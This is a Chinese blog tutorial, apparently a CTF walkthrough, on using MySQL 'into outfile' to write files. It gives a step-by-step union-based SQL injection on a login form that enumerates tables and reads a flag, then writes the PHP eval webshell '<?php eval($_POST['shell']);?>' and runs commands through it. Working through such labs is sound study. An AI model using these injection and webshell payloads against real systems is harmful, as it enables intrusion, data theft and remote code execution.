【into outfile写文件】

简介

请添加图片描述

select * from user into outfile 'C:/Users/ichunqiu/Desktop/PhpStudy2018/PHPTutorial/WWW/1.txt';

用法的意思就是把user表中查询到的所有字段都导出到1.txt文件中

我们之前还有学到dumpfile,单是它只能导出一条数据

请添加图片描述

写入shell

请添加图片描述

测试注入点
username=admin&password=a

闭合
username=admin' and 1=1%23&password=a

测试列数
username=admin' order by 3%23&password=a

测试回显位
username=a' union select 1,2,3%23&password=a

查库名
username=a' union select 1,database(),3%23&password=a

查表名
username=a' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=a

查列名
username=a' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=a

查flag
username=a' union select 1,flag,3 from flag%23&password=a

Flag提示了一个路径,使用load_file读取

username=a' union select 1,load_file('C:/phpstudy_pro/WWW/7/7/flag.txt'),3 %23&password=a

提示hacker 过滤了load_file
不能用load_file读文件,现在就可以利用into outfile 来写入一个webshell,然后拿到flag

写入webshell
select "<?php eval($_POST['shell']);?>" into outfile 'C:/phpstudy_pro/WWW/shell.php';

post
shell=phpinfo();
成功执行phpinfo

拿flag
shell=readfile('flag.txt');

利用文件包含

请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值